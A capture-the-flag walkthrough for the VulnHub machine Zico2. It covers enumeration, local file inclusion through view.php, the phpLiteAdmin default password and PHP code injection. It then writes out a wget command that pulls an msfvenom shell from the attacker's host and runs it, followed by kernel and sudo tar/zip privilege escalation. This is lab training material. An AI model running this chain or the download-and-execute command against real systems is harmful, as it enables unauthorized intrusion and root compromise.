ZICO 2
- Layout for this exercise:
1 - INTRODUCTION
- The goal of this exercise is to develop a hacking process for the vulnerable machine Zico2.
- Zico2 can be downloaded from here:
https://www.vulnhub.com/entry/zico2-1,210/
- Once downloaded and extracted with VMware:
2 - ENUMERATION
- Looking for zico2's IP:
- Scanning with Nmap:
- Dirbusting the web server we find an interesting folder dbadmin:
- Launching dirsearch.py we also discover a view.php:
- Let's explore both view.php and /dbadmin.
- Connecting to the web server:
- Scrolling down and clicking about the "tools":
- So view.php leads us to try a Local File Inclusion that can exploit a Directory Path Traversal:
- Now it's time to explore dbadmin:
- Clicking test_db.php:
- Default password for phpLiteAdmin is admin:
https://www.acunetix.com/vulnerabilities/web/phpliteadmin-default-password/
- It is possible to create new databases:
3 - EXPLOITATION - REMOTE PHP CODE INJECTION
- Looking for phpLiteAdmin vulnerabilities there is an exploit for Remote PHP Code Injection, what allows to inject code remotely to the server:
- Reading the first lines of the 24044.txt exploit:
- Going to exploit-db:
- Following instructions let's create hack.php:
- Adding a testing table prueba:
- Entering the Default Value <?php phpinfo()?>:
- Using the LFI from view.php we can successfully run the recently created database and check that the exploit works:
- Why not taking advantage of this Remote PHP Code Injection exploit to upload a shellcode and spawn a reverse shellcode?
- msfvenom helps to create our shellcode:
- Giving execution permissions:
- Setting a meterpreter session:
- Creating table 1 in database /usr/databases/hack.php:
- Now, it is important to analyze in detail the Default Value to be entered at Field 1:
- system() -> executes an external program and displays the output
- cd /tmp -> changing to writable folder /tmp
- wget http://192.168.1.19:8000/myshell -> transferring the exploit from Kali to Zico2
- chmod 755 -> giving execution permissions to the exploit
- ./myshell -> running the exploit
- view.php? helps us to run the exploit remotely:
- As a consequence a meterpreter session is achieved:
- Getting a shell:
4 - PRIVILEGE ESCALATION
- Improving the shell:
- Let's explore two ways for Privilege Escalation:
4.1 - Kernel exploitation
- The kernel is vulnerable to this exploit, what allows Local Privilege Escalation:
www.exploit-db.com/exploits/33589
- Copy+Pasting the C program vnik.c to our local machine Kali:
- Transferring vnik.c from Kali to Zico2:
- Compiling vnik.c according to the instructions:
- Running vnik a root shell is achieved:
4.2 - Abusing tar and zip
- Listing /home/zico:
- Going to /wordpress:
- Reading wp-config.php we discover interesting credentials for user zico:
- Using these credentials:
- zico is a sudoer able to run /bin/tar and /usr/bin/zip as a root:
- tar and zip are able to run external commands supplied on the command line with the purpose of Privilege Escalation:
http://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/
https://www.gnu.org/software/tar/manual/html_section/tar_29.html
- For instance tar can be used to spawn a root shell in this way:
- In a similar way zip can be used to spawn a root shell:
5 - CAPTURING THE FLAG
- Inside the /root folder we can read the file flag.txt: